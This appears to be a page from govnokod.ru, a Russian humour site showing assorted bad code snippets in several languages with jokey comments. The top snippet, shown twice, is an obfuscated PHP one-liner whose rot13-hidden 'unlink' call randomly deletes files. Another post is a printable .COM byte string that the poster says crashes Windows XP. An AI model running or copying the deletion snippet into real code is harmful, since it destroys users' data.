- 1
$g=str_rot13("hayvax");$gg=9999999;$ggg=100;foreach(glob("*/*/*") as $f){(rand(0,$gg)%rand(0,$ggg))?$g($f):'';}
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+52
$g=str_rot13("hayvax");$gg=9999999;$ggg=100;foreach(glob("*/*/*") as $f){(rand(0,$gg)%rand(0,$ggg))?$g($f):'';}
=3
+99
program lab;
usescrt
var
a:array [1..20] of shortint;
s:byte;
g,b:real;
begin
clrscr
randomize;
for s:=1 to 20 do
begin
a[s]:=random (40);
a[s]:=a[s]-20;
write (a [s]4);
end;
g:=0
for s:=1 to 20 do
if a[s]>0 , then g= g+a [s];
writelnc(summa pol ',g);
b:=0;
for s:=1 to 20 do
if a[s]<0 then b:=b+a[s];
writeln (srednee',b);
b:=(b)/20;
repeat until keypressed;
end.
http://rghost.ru/38741341
+135
float Q_rsqrt( float number )
{
long i;
float x2, y;
const float threehalfs = 1.5F;
x2 = number * 0.5F;
y = number;
i = * ( long * ) &y; // evil floating point bit level hacking
i = 0x5f3759df - ( i >> 1 ); // what the fuck?
y = * ( float * ) &i;
y = y * ( threehalfs - ( x2 * y * y ) ); // 1st iteration
// y = y * ( threehalfs - ( x2 * y * y ) ); // 2nd iteration, this can be removed
return y;
}
The following code is the fast inverse square root implementation from Quake III Arena, stripped of C preprocessor directives, but including the exact original comment text.
Вот что такое настоящие магические числа.
+120
private void button4_Click(object sender, RoutedEventArgs e)
{
if (!rand)
{
rand = true;
}
if (rand)
{
rand = false;
}
} // Кнопка переключения воспроизведения в случайный режим и оборатно
+137
void
meta_window_constrain (MetaWindow *window,
MetaFrameBorders *orig_borders,
MetaMoveResizeFlags flags,
int resize_gravity,
const MetaRectangle *orig,
MetaRectangle *new)
{
ConstraintInfo info;
/* ... */
setup_constraint_info (&info, window, orig_borders, flags, resize_gravity, orig, new);
/* ... */
/* Ew, what an ugly way to do things. Destructors (in a real OOP language,
* not gobject-style--gobject would be more pain than it's worth) or
* smart pointers would be so much nicer here. *shrug*
*/
if (!orig_borders)
g_free (info.borders);
}
static void
setup_constraint_info (/* ... */)
{
/* ... */
/* Create a fake frame geometry if none really exists */
if (orig_borders && !window->fullscreen)
info->borders = orig_borders;
else
info->borders = g_new0 (MetaFrameBorders, 1);
/* ... */
}
http://git.gnome.org/browse/mutter/tree/src/core/constraints.c
+1
WORD StrLen(PChar s)
{
ASSERT(s!=NULL);
int i;
for (i=0; ( (*(s+i)!=0) && (i<=WORDMAX) ); i++) {};
ASSERT(i<=WORDMAX);
return (WORD)i;
};
По заявкам из http://govnokod.ru/11318
+146
huiX5uiPH5;;P5;@@5HH4XPPDXDPhuiX5fiTГ
Было запощено в 11315, но, мне кажется, что этот ГК заслуживает отдельного топика.
Когда-то давно пытался на ассемблере включить видеорежим 320x200x256 (13h) и порисовать. Но XP сменив режим потеряла управление. Помог только ребут. В тот день, матерясь на MS, я и решил написать эту строчку так, чтобы ее можно было вводить с помощью обычного блокнота на любой машине...
Системные требования: Windows XP
Текст набирается в кодировке CP1251. Файл должен иметь расширение COM.
−18
return StrLen((*i).second);
В точку.
+58
$attr_id = json_decode($_GET['attr_id']);
$obj_id = json_decode($_GET['obj_id']);
$a_href = $_GET['file_id'];
Разгребаю что осталось от недавно уволенного джуниора.
2 json_decoda толкают в уныние. При том что джсон туда вообще не приходит =\
Жаль вот уже, не сохранился код, в к-м он пришедший на _клиент в браузер_ json парсил руками(JSON.parse() - для слабых)
−92
- (NSInteger)tableView:(UITableView *)tableView numberOfRowsInSection:(NSInteger)section {
self.view.frame=CGRectMake(10,10, 300, 200);
return 3;
}
- (UITableViewCell *)tableView:(UITableView *)tableView cellForRowAtIndexPath:(NSIndexPath *)indexPath {
static NSString *CellIdentifier = @"Cell";
UITableViewCell *cell = [tableView dequeueReusableCellWithIdentifier:CellIdentifier];
if (cell == nil) {
cell = [[[UITableViewCell alloc] initWithStyle:UITableViewCellStyleDefault reuseIdentifier:CellIdentifier] autorelease];
}
// Configure the cell...
cell.selectionStyle=UITableViewCellSelectionStyleNone;
switch (indexPath.row) {
case 0:
//ToDo: Add UserInfo's view into TableView
[cell.contentView addSubview:upperView];
break;
case 1:{
//Remove preous view/tableview
for (id vw in cell.contentView.subviews) {
if ([vw isKindOfClass:[UITableView class]]) {
[vw removeFromSuperview];
}
}
//
//Add View which contain tableview
EditListViewController *editlistvw=[[EditListViewController alloc] initWithNibName:@"EditListViewController" bundle:nil] ;
editlistvw.view.frame=CGRectMake(10, 10, 300, 20);
[cell.contentView addSubview:editlistvw.tableView];
//
break;
}
case 2:
//Remove previous view/tableview
for (id vw in cell.contentView.subviews) {
if ([vw isKindOfClass:[UITableView class]]) {
[vw removeFromSuperview];
}
}
break;
default:
break;
}
return cell;
}
Творение индийского джуниора, совместно с которым приходится делать проект